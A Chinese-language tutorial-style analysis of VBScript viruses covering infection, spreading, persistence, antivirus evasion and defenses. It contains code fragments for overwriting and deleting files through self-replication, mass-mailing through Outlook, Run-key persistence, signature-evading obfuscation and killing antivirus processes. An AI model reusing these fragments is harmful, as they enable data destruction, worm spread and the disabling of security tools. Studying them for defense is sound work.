首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

VBScript 病毒深度剖析:傳播機制、反殺毒技術與防範全指南

     編輯:Java 相關知識

前言:腳本病毒的興起與威脅

2000 年「愛蟲」病毒引爆全球,損失數十億美元;其後「新歡樂時光」等 VBS 腳本蠕蟲肆虐。VBScript 病毒因編寫簡單、破壞力強、傳播快、變種多、誘騙性強,成為一時瘟疫。本文系統剖析其核心技術原理。

一、VBS 病毒核心特徵

特徵說明
編寫簡單零基礎也能速成,門檻極低
破壞力大文件損壞、郵件伺服器癱瘓、網絡擁塞
傳染力強源碼可讀、自我復制易、變種容易
傳播廣Email、網頁、局域網共享、IRC、P2P 多管齊下
源碼易得腳本直譯執行,加密也易破解
誘騙性強雙後綴(.jpg.vbs)、偽裝圖標、社工話術
生成器泛濫模組化功能拼裝,自動生成變種

二、核心技術原理剖析

1. 文件感染與搜尋:自我復制 + 遞歸遍歷

' 關鍵對象:Scripting.FileSystemObject (FSO)
Set fso = CreateObject("Scripting.FileSystemObject")
Set self = fso.OpenTextFile(WScript.ScriptFullName, 1)
vbscopy = self.ReadAll  ' 讀取自身完整代碼

' 感染目標文件
Set ap = fso.OpenTextFile(targetFile.Path, 2, True)
ap.Write vbscopy        ' 覆蓋寫入病毒代碼
ap.Close
fso.GetFile(targetFile.Path).Copy targetFile.Path & ".vbs"  ' 備份副本
targetFile.Delete True  ' 刪除原文件

' 遞歸掃描目錄
Sub Scan(folder_)
    On Error Resume Next
    Set folder_ = fso.GetFolder(folder_)
    For Each file In folder_.Files
        If LCase(fso.GetExtensionName(file)) = "mp5" Then  ' 針對特定後綴
            ' 感染邏輯...
        End If
    Next
    For Each subfolder In folder_.SubFolders
        Scan subfolder  ' 遞歸
    Next
End Sub

2. 四大網絡傳播途徑

途徑關鍵技術典型代碼片段
Email 附件 Outlook.Application + MAPI 命名空間遍歷地址簿 Set outlookApp = CreateObject("Outlook.Application")
Set mapiObj = outlookApp.GetNameSpace("MAPI")
item.Send
局域網共享 WScript.Network 枚舉網絡驅動器/打印機 Set WSHNetwork = CreateObject("WScript.Network")
colDrives = WSHNetwork.EnumNetworkDrives
網頁感染 ActiveX 組件 {F935DC22...} (WSH Shell) + {0D43FE01...} (FSO) Apple0bject.setCLSID("{F935DC22...}")
Set WsShell = Apple0bject.Get0bject()
IRC/P2P 修改 mIRC script.ini / KaZaA 共享目錄 mirc.WriteLine "n0=on 1:join:... /dcc send ..."

3. 獲取控制權:持久化與欺騙

  • 註冊表 Run 鍵: wsh.RegWrite "HKLM\...\Run\Key", "wscript.exe virus.vbs"
  • 文件關聯劫持: 修改 .dll/.exe 關聯指向 wscript.exe 或病毒腳本。
  • 雙後綴欺騙: beauty.jpg.vbs 顯示為 beauty.jpg。
  • desktop.ini + folder.htt: 進入目錄自動觸發腳本(新歡樂時光核心手法)。

4. 反殺毒對抗技術

技術原理代碼示例
自加密/多態 隨機密鑰加密關鍵代碼,每次感染特徵碼不同 Randomize + Chr(Int(Rnd*22)+65) 字符替換
Execute 動態執行 將敏感對象聲明字符串化,運行時 Execute(str) 繞過靜態掃描 Execute("Set fso=CreateObject(""Scripting.FileSystemObject"")")
字符串拆分混淆 CreateObject("Script"&"ing.FileSys"&"temObject") 繞過特徵碼匹配
進程終止 遍歷進程列表,殺殺毒軟件進程、刪除關鍵文件 WMI Win32_Process + Terminate

5. 病毒生成器原理

模組化功能庫(郵件傳播、文件感染、註冊表持久化等)+ 用戶勾選配置 + 代碼拼裝 + 混淆優化 = 定製化病毒源碼。因腳本無需編譯、無校驗定位,生成極其簡單。

三、提取加密病毒樣本實戰(以新歡樂時光為例)

  1. 用編輯器打開 folder.htt,定位 <script language=vbscript> 區塊。
  2. 複製加密字符串 ExeString 及解密腳本 Execute(...) 到新 .vbs 文件。
  3. 在解密後添加導出代碼:
    Set fso=CreateObject("Scripting.FileSystemObject")
    Set f=fso.CreateTextFile("decoded.log",True)
    f.WriteLine ThisText
  4. 運行該腳本,獲得解密後完整源碼 decoded.log。

四、VBS 病毒弱點與防範體系

核心依賴(即弱點)

  1. FileSystemObject (scrrun.dll)
  2. Windows Script Host (wshom.ocx / wscript.exe)
  3. .vbs/.vbe/.js/.jse 文件關聯
  4. ActiveX(網頁傳播)
  5. Outlook Express 自動發郵件

徹底防範「組合拳」

層面具體操作命令/路徑
禁用 FSO 註銷組件 / 刪除註冊表項 regsvr32 scrrun.dll /u 或刪除 HKCR\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}
卸載 WSH 控制面板 → 添加/刪除程序 → Windows 組件 → 取消 WSH 或刪除 HKCR\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
移除腳本關聯 資料夾選項 → 文件類型 → 刪除 VBS/VBE/JS/JSE
重命名/刪除 wscript.exe ren %windir%\System32\wscript.exe wscript.exe.bak
瀏覽器禁用 ActiveX IE 選項 → 安全 → 自定義級別 → 所有 ActiveX 設為「禁用」
禁用 OE 自動發信 工具 → 選項 → 安全 → 勾選「警告我其他應用程序嘗試發送郵件」
顯示文件擴展名 資料夾選項 → 視圖 → 取消「隱藏已知類型擴展名」
安裝殺毒軟件並更新病毒庫 最後防線,不可或缺

五、腳本病毒發展展望

隨著網絡發展,PHP/JS/Perl 等腳本病毒將湧現。但腳本語言本質限制(依賴宿主環境、易清除、易防範)決定其難成主流威脅。真正的病毒技術愛好者終將轉向 PE 級二進制技術。腳本病毒雖會持續存在,但像「愛蟲」級影響力的事件將屈指可數。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved